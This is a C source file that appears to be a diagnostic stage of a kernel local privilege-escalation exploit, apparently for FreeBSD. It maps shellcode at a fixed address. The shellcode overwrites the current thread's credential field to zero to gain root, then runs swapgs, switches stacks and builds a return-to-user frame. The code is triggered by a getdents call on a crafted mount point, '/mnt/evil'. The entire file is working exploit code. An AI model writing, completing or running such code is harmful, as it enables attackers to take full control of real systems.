/* diag #4: cred + cli + swapgs + stackswitch + pushframe + halt (NO iretq).
 * Freeze => frame build OK, iretq is the culprit.  Reset => fault in frame build. */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define SHELLCODE_ADDR 0x0000000001337000ULL
#define USTACK_TOP     0x0000000001408000ULL
#define USER_CS        0x2b
#define USER_SS        0x23
#define USER_RFLAGS    0x202ULL
__attribute__((noinline, aligned(4096)))
static void shellcode(void)
{
    __asm__ volatile(
        "movq %%gs:0x0, %%rax\n\t"
        "movq 0x08(%%rax), %%rax\n\t"
        "movq 0xa8(%%rax), %%rdi\n\t"
        "movq 0x10(%%rdi), %%rsi\n\t"
        "movl $0, 0x40(%%rsi)\n\t"
        "cli\n\t"
        "swapgs\n\t"
        "movq %[ust], %%rsp\n\t"
        "movq %[ss], %%r15\n\t"
        "pushq %%r15\n\t"
        "movq %[ust], %%r15\n\t"
        "pushq %%r15\n\t"
        "movq %[rfl], %%r15\n\t"
        "pushq %%r15\n\t"
        "movq %[cs], %%r15\n\t"
        "pushq %%r15\n\t"
        "movq $0x405000, %%r15\n\t"
        "pushq %%r15\n\t"
        "1: hlt\n\t"
        "jmp 1b\n\t"
        :
        : [ust] "i" (USTACK_TOP),
          [ss] "i" ((uint64_t)USER_SS),
          [rfl] "i" (USER_RFLAGS),
          [cs] "i" ((uint64_t)USER_CS)
        : "rax","rdi","rsi","r15","rsp");
}
__attribute__((noinline, aligned(4096)))
static void shellcode_end(void) { }
#define SYS_getdents 480
int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";
    void *us = mmap((void *)0x1400000, 0x10000, PROT_READ|PROT_WRITE,
                    MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    if (us == MAP_FAILED) { perror("mmap us"); return 2; }
    size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode);
    void *p = mmap((void *)SHELLCODE_ADDR, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    if (p == MAP_FAILED) { perror("mmap sc"); return 2; }
    memcpy(p, (void *)shellcode, sc_len);
    fprintf(stderr, "[diag4] frame+halt at %p, ustack %p\n", p, us);
    int fd = open(mp, O_RDONLY|O_DIRECTORY);
    if (fd < 0) { perror("open"); return 2; }
    char buf[64];
    syscall(SYS_getdents, fd, buf, sizeof(buf));
    fprintf(stderr, "[diag4] returned\n");
    return 0;
}
